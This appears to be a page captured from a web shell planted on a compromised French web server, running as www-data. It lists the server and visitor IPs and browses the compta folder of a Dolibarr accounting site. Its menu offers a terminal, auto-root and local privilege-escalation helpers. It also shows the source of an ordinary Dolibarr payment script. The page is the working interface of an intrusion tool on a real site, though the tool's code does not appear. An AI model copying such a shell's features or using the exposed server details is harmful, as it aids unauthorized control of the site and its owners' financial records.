Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
asiafood.bdcloud.fr /
compta /
Delete
Unzip
Name
Size
Permission
Date
Action
bank
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
cashcontrol
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
charges
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
deplacement
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
facture
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
journal
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
localtax
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
paiement
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
payment_sc
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
paymentbybanktransfer
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
prelevement
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
resultat
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
sociales
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
stats
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
tva
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
accounting-files.php
36.54
KB
-rwxr-xr-x
2021-01-30 17:40
ajaxpayment.php
4.56
KB
-rwxr-xr-x
2021-01-30 17:40
clients.php
6.48
KB
-rwxr-xr-x
2021-01-30 17:40
index.php
43.13
KB
-rwxr-xr-x
2021-01-30 17:40
paiement.php
38.65
KB
-rwxr-xr-x
2021-01-30 17:40
paiement_charge.php
11.24
KB
-rwxr-xr-x
2021-01-30 17:40
recap-compta.php
10.23
KB
-rwxr-xr-x
2021-01-30 17:40
Save
Rename
<?php /* Copyright (C) 2011 Auguria <anthony.poiret@auguria.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/compta/ajaxpayment.php * \brief File to return Ajax response on payment breakdown process */ if (!defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); if (!defined('NOCSRFCHECK')) define('NOCSRFCHECK', '1'); if (!defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', '1'); if (!defined('NOREQUIREMENU')) define('NOREQUIREMENU', '1'); // If there is no menu to show if (!defined('NOREQUIREHTML')) define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php require '../main.inc.php'; $langs->load('compta'); /* * View */ //init var $invoice_type = GETPOST('invoice_type', 'int'); $amountPayment = $_POST['amountPayment']; $amounts = $_POST['amounts']; // from text inputs : invoice amount payment (check required) $remains = $_POST['remains']; // from dolibarr's object (no need to check) $currentInvId = $_POST['imgClicked']; // from DOM elements : imgId (equals invoice id) // Getting the posted keys=>values, sanitize the ones who are from text inputs $amountPayment = $amountPayment != '' ? (is_numeric(price2num($amountPayment)) ? price2num($amountPayment) : '') : ''; // keep void if not a valid entry // Clean checkamounts foreach ($amounts as $key => $value) { $value = price2num($value); $amounts[$key] = $value; if (empty($value)) unset($amounts[$key]); } // Clean remains foreach ($remains as $key => $value) { $value = price2num($value); $remains[$key] = (($invoice_type) == 2 ?-1 : 1) * $value; if (empty($value)) unset($remains[$key]); } // Treatment $result = ($amountPayment != '') ? ($amountPayment - array_sum($amounts)) : array_sum($amounts); // Remaining amountPayment $toJsonArray = array(); $totalRemaining = price2num(array_sum($remains)); $toJsonArray['label'] = $amountPayment == '' ? '' : $langs->transnoentities('RemainingAmountPayment'); if ($currentInvId) // Here to breakdown { // Get the current amount (from form) and the corresponding remainToPay (from invoice) $currentAmount = $amounts['amount_'.$currentInvId]; $currentRemain = $remains['remain_'.$currentInvId]; // If amountPayment isn't filled, breakdown invoice amount, else breakdown from amountPayment if ($amountPayment == '') { // Check if current amount exists in amounts $amountExists = array_key_exists('amount_'.$currentInvId, $amounts); if ($amountExists) { $remainAmount = $currentRemain - $currentAmount; // To keep value between curRemain and curAmount $result += $remainAmount; // result must be deduced by $currentAmount += $remainAmount; // curAmount put to curRemain } else { $currentAmount = $currentRemain; $result += $currentRemain; } } else { // Reset the substraction for this amount $result += price2num($currentAmount); $currentAmount = 0; if ($result >= 0) // then we need to calculate the amount to breakdown { $amountToBreakdown = ($result - $currentRemain >= 0 ? $currentRemain : // Remain can be fully paid $currentRemain + ($result - $currentRemain)); // Remain can only partially be paid $currentAmount = $amountToBreakdown; // In both cases, amount will take breakdown value $result -= $amountToBreakdown; // And canceled substraction has been replaced by breakdown } // else there's no need to calc anything, just reset the field (result is still < 0) } $toJsonArray['amount_'.$currentInvId] = price2num($currentAmount).""; // Param will exist only if an img has been clicked } $toJsonArray['makeRed'] = ($totalRemaining < price2num($result) || price2num($result) < 0) ? true : false; $toJsonArray['result'] = price($result); // Return value to user format $toJsonArray['resultnum'] = price2num($result); // Return value to numeric format // Encode to JSON to return echo json_encode($toJsonArray); // Printing the call's result